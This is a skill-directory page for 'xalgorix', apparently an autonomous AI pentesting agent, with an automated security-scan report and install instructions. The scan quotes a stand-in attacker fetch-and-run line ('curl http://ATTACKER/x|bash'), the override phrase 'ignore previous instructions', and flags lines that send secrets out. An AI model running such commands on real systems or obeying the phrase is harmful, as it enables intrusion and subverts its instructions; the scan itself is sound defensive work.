Maintainer of this skill?
Automated security scan — not a certification.
by xalgorix
Autonomous AI pentesting agents — real-time reconnaissance, vulnerability detection, and exploitation orchestration. Go + TypeScript.
# Add to your Claude Code skills
git clone https://github.com/xalgorix/xalgorixLast scanned: 7/31/2026
{
"issues": [
{
"file": "README.md",
"line": 43,
"type": "remote-install",
"message": "Install command (remote install script piped to a shell — review the source before running): \"curl -sSL https://www.xalgorix.com/install | bash\"",
"severity": "low"
},
{
"file": "internal/tools/skills/data/ai-security/detecting-ai-model-prompt-injection-attacks/SKILL.md",
"line": 62,
"type": "prompt-injection",
"message": "Possible instruction-override phrase: \"ignore previous instructions\"",
"severity": "medium"
},
{
"file": "internal/tools/skills/data/ai-security/exploiting-ai-model-file-rce/SKILL.md",
"line": 47,
"type": "remote-install",
"message": "Install command (remote install script piped to a shell — review the source before running): \"curl http://ATTACKER/x|bash\"",
"severity": "medium"
},
{
"file": "internal/tools/skills/data/ai-security/testing-mcp-server-security/SKILL.md",
"line": 41,
"type": "secret-exfiltration",
"message": "Instruction appears to send credentials/secrets to an external endpoint",
"severity": "medium"
},
{
"file": "internal/tools/skills/data/api-security/implementing-api-key-security-controls/SKILL.md",
"line": 288,
"type": "secret-exfiltration",
"message": "Instruction appears to send credentials/secrets to an external endpoint",
"severity": "medium"
}
],
"status": "PASSED",
"scannedAt": "2026-07-31T06:42:50.322Z",
"npmAuditRan": true,
"pipAuditRan": true,
"promptInjectionRan": true
}See how xalgorix compares with popular alternatives.
xalgorix is an open-source ai agents skill for AI coding assistants such as Claude Code, Codex CLI, and ChatGPT, built by xalgorix. Autonomous AI pentesting agents — real-time reconnaissance, vulnerability detection, and exploitation orchestration. Go + TypeScript. It has 1,274 GitHub stars.
Yes. xalgorix passed SkillsLLM's automated security scan — a dependency vulnerability audit plus prompt-injection heuristics — with no high-severity issues. You can read the full report in the Security Report section on this page.
Clone the repository with "git clone https://github.com/xalgorix/xalgorix" and add it to your Claude Code skills directory (see the Installation section above).
xalgorix is primarily written in Go. It is open-source under xalgorix on GitHub, so you can review or fork the full source.
Yes. SkillsLLM lists many other AI Agents skills you can browse and compare side by side. Open the AI Agents category from the badge at the top of this page, or use the Related Skills and comparison links further down to weigh xalgorix against similar tools.
No comments yet. Be the first to share your thoughts!
From $49 · 30 days · terms & refunds
⚠️ Third-Party Software Notice
This skill is third-party open-source software developed and hosted independently on GitHub. SkillsLLM is an informational directory and does not control or maintain the underlying repository.
Any security checks, ratings, or warnings displayed by SkillsLLM are automated and limited in scope. They do not constitute a security certification or guarantee that the software is safe, error-free, or free from malicious code, vulnerabilities, compromised dependencies, or prompt-injection risks.
Review the source code, permissions, dependencies, and configuration before installing or running any third-party skill. Use is at your own risk. To the maximum extent permitted by applicable law, SkillsLLM is not liable for losses arising from third-party software.
Automated security scan — not a certification.
| 🖥️ Self-host — this repo | ☁️ Xalgorix Cloud — nothing to install |
|---|---|
| Free and Apache-2.0. Runs on your machine with your own LLM key, or fully local with Ollama. Findings and reports stay on your infrastructure. | The same exploit-verified engine in your browser. Model, out-of-band callbacks and scheduling are managed for you. Packs from $10; credits never expire. |
| Install in two commands ↓ | Compare self-hosted vs Cloud → |
🖥️ Self-hosted dashboard — runs locally on 127.0.0.1:9137
| Overview dashboard | Scan detail | Findings |
|---|---|---|
 |
 |
 |
☁️ Xalgorix Cloud dashboard — the managed version at www.xalgorix.com
Xalgorix is supported by these proxy-infrastructure partners — handy for checking how your own apps behave across regions. Both speak HTTP(S) and SOCKS5, the protocols Xalgorix uses.
Install (one line):
curl -sSL https://www.xalgorix.com/install | bash
This downloads the prebuilt binary for your platform (Linux or macOS, amd64/arm64) from the latest release.
Or install with Go 1.26 or newer:
go install github.com/xalgord/xalgorix/v4/cmd/xalgorix@latest
Ensure $(go env GOPATH)/bin (or your GOBIN) is on your PATH before running xalgorix.
Then run the interactive setup wizard:
xalgorix --setup
Choose your provider, confirm a model, and enter the API key when prompted. For best results, use a current frontier model with strong reasoning, long-context performance, and reliable tool calling—such as the latest capable GPT, Claude, or Gemini model available to you. Smaller or local models remain supported, but may require more supervision during long autonomous scans. Xalgorix stores the key privately in ~/.xalgorix.env (mode 0600) and can launch the dashboard for you. Local Ollama needs no API key.
If you choose not to launch immediately, start later with xalgorix --web and open http://127.0.0.1:9137. You can change providers or advanced options at any time under Settings → LLM, or rerun xalgorix --setup.
Or run with Docker — batteries included, no toolchain needed:
docker run --rm -p 9137:9137 \
--privileged \
-v xalgorix-data:/data \
xalgord/xalgorix:latest
--privileged gives the toolset the same host-like access it has when run natively as root. Docker's default sandbox drops capabilities (like NET_ADMIN) and applies a seccomp filter, which breaks low-level tools (iptables/route changes, ARP-spoof/MITM, tun/tap VPNs, ptrace-based debuggers, masscan interface tuning). Since an image can't grant itself these, they must be set at run time. The container is a disposable, network-isolated scanning sandbox running as root — privileged is the intended posture; never expose the dashboard publicly without auth. Prefer least-privilege? Swap --privileged for --cap-add=NET_ADMIN --cap-add=NET_RAW --cap-add=SYS_PTRACE --security-opt seccomp=unconfined.
Open http://localhost:9137. You don't need an LLM key to start — the dashboard launches without one; set the model + API key under Settings → LLM (it persists to the /data volume). If you don't pass XALGORIX_USERNAME/XALGORIX_PASSWORD, a random admin password is generated and printed to the container logs on first run.
Machine-to-machine API access — give automation (your own backend, CI, scripts) a dedicated Authorization: Bearer token instead of dashboard credentials: set XALGORIX_API_TOKEN (or XALGORIX_API_TOKENS for a comma-separated rotation set). Machine tokens authorize /api/* routes and the scan-event WebSocket only — never the dashboard UI or operator-only settings routes — never create browser sessions, never interact with the dashboard login rate limiter, and are matched against stored SHA-256 digests with constant-time comparison. The human dashboard login (XALGORIX_USERNAME + XALGORIX_PASSWORD_HASH) keeps working unchanged alongside them.
Easiest — Docker Compose (maps the port + a persistent volume for you):
curl -sSLO https://raw.githubusercontent.com/xalgorix/xalgorix/main/docker-compose.yml
docker compose up -d
docker compose logs -f # shows the generated admin password on first start
The image ships an extensive offensive-security toolset preinstalled (nmap, nuclei, httpx, subfinder, katana, ffuf, gobuster, sqlmap, masscan, dalfox, feroxbuster, and more) and keeps every package manager (apt, go, cargo, pipx, npm) available so the agent can still auto-install anything missing at runtime. It runs as root inside the container by design — treat the container as a disposable, network-isolated scanning sandbox and never expose the dashboard without auth. Images are published for both amd64 and arm64.
Or build from source (needs Go 1.26+ and Node.js):
git clone https://github.com/xalgorix/xalgorix.git
cd xalgorix
make build
sudo install -m 755 build/xalgorix /usr/local/bin/xalgorix
[!TIP] Rather skip the setup? Xalgorix Cloud runs the same exploit-verified engine in your browser — no install, no LLM key, no token bill. Packs from $10, no subscription; credits never expire.
Want a security review on every pull request with